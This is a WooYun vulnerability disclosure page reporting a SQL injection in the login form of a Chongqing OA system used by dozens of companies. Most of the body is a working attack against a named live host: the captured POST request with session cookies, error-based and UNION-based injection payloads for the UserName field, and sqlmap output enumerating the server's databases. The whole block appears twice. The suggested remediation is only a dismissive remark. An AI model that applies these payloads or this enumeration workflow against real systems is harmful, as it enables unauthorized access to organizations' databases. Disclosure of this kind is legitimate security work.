当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0112881

漏洞标题:重庆猫扑OA登陆存在sql注入

相关厂商:猫扑OA

漏洞作者: 神秘的小胖

提交时间:2015-05-22 11:49

修复时间:2015-07-06 11:50

公开时间:2015-07-06 11:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-07-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

http://oa.oooa.cn/Login.aspx 登陆存在post注入 影响重庆30多家企业

详细说明:

test1.jpg


POST /inc/loginAjax.aspx HTTP/1.1
Host: oa.oooa.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://oa.oooa.cn/Login.aspx
Content-Length: 266
Cookie: safedog-flow-item=4093F074FD266344424A648DA8EC70B0; bbxmax_guest=36138a44b0e74844ba1628babba0aa26; ASP.NET_SessionId=rmojpk3jngkbbzeoe2qfpm45
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
UserName=test&Pwd=test&Os=Windows&
参数UserName存在sql注入
Parameter: UserName (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=test' AND 9709=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHA
R(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9709=9709) THEN CHAR(49) ELSE CHA
R(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(98)+CHAR(113))) AND 'jcmW'='jcmW&
Pwd=test&Os=Windows&Browser=Firefoxx
Type: UNION query
Title: Generic UNION query (NULL) - 110 columns
Payload: UserName=test' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+
CHAR(112)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(119)+CHAR(110)+CHAR(108)+
CHAR(119)+CHAR(73)+CHAR(76)+CHAR(106)+CHAR(85)+CHAR(81)+CHAR(113)+CHAR(122)+CHAR
(113)+CHAR(98)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &Pwd=test&Os=
Windows&Browser=Firefoxx
---
[15:15:42] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[15:15:42] [INFO] fetching current database
current database: 'sq_maopoa'
[15:15:44] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\oa.oooa.cn'
[*] shutting down at 15:15:44
D:\Python27>python 419/sqlmap.py -r 419/2.txt --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150430}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:15:51
[15:15:51] [INFO] parsing HTTP request from '419/2.txt'
[15:15:51] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:15:51] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: UserName (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=test' AND 9709=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHA
R(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9709=9709) THEN CHAR(49) ELSE CHA
R(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(98)+CHAR(113))) AND 'jcmW'='jcmW&
Pwd=test&Os=Windows&Browser=Firefoxx
Type: UNION query
Title: Generic UNION query (NULL) - 110 columns
Payload: UserName=test' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+
CHAR(112)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(119)+CHAR(110)+CHAR(108)+
CHAR(119)+CHAR(73)+CHAR(76)+CHAR(106)+CHAR(85)+CHAR(81)+CHAR(113)+CHAR(122)+CHAR
(113)+CHAR(98)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &Pwd=test&Os=
Windows&Browser=Firefoxx
---
[15:15:52] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[15:15:52] [INFO] fetching database names
[15:15:53] [INFO] the SQL query used returns 18 entries
[15:15:53] [INFO] retrieved: master
[15:15:54] [INFO] retrieved: model
[15:15:54] [INFO] retrieved: msdb
[15:16:00] [INFO] retrieved: sq_blzy
available databases [4]:
[*] master
[*] model
[*] msdb
[*] sq_blzy

test2.jpg


影响重庆几十家企业,不是深入了

漏洞证明:

test1.jpg


POST /inc/loginAjax.aspx HTTP/1.1
Host: oa.oooa.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://oa.oooa.cn/Login.aspx
Content-Length: 266
Cookie: safedog-flow-item=4093F074FD266344424A648DA8EC70B0; bbxmax_guest=36138a44b0e74844ba1628babba0aa26; ASP.NET_SessionId=rmojpk3jngkbbzeoe2qfpm45
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
UserName=test&Pwd=test&Os=Windows&
参数UserName存在sql注入
Parameter: UserName (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=test' AND 9709=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHA
R(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9709=9709) THEN CHAR(49) ELSE CHA
R(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(98)+CHAR(113))) AND 'jcmW'='jcmW&
Pwd=test&Os=Windows&Browser=Firefoxx
Type: UNION query
Title: Generic UNION query (NULL) - 110 columns
Payload: UserName=test' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+
CHAR(112)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(119)+CHAR(110)+CHAR(108)+
CHAR(119)+CHAR(73)+CHAR(76)+CHAR(106)+CHAR(85)+CHAR(81)+CHAR(113)+CHAR(122)+CHAR
(113)+CHAR(98)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &Pwd=test&Os=
Windows&Browser=Firefoxx
---
[15:15:42] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[15:15:42] [INFO] fetching current database
current database: 'sq_maopoa'
[15:15:44] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\oa.oooa.cn'
[*] shutting down at 15:15:44
D:\Python27>python 419/sqlmap.py -r 419/2.txt --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150430}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:15:51
[15:15:51] [INFO] parsing HTTP request from '419/2.txt'
[15:15:51] [INFO] resuming back-end DBMS 'microsoft sql server'
[15:15:51] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: UserName (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UserName=test' AND 9709=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHA
R(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (9709=9709) THEN CHAR(49) ELSE CHA
R(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(98)+CHAR(113))) AND 'jcmW'='jcmW&
Pwd=test&Os=Windows&Browser=Firefoxx
Type: UNION query
Title: Generic UNION query (NULL) - 110 columns
Payload: UserName=test' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+
CHAR(112)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(119)+CHAR(110)+CHAR(108)+
CHAR(119)+CHAR(73)+CHAR(76)+CHAR(106)+CHAR(85)+CHAR(81)+CHAR(113)+CHAR(122)+CHAR
(113)+CHAR(98)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &Pwd=test&Os=
Windows&Browser=Firefoxx
---
[15:15:52] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[15:15:52] [INFO] fetching database names
[15:15:53] [INFO] the SQL query used returns 18 entries
[15:15:53] [INFO] retrieved: master
[15:15:54] [INFO] retrieved: model
[15:15:54] [INFO] retrieved: msdb
[15:16:00] [INFO] retrieved: sq_blzy
available databases [4]:
[*] master
[*] model
[*] msdb
[*] sq_blzy

test2.jpg


影响重庆几十家企业,不是深入了

修复方案:

你们懂

版权声明:转载请注明来源 神秘的小胖@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论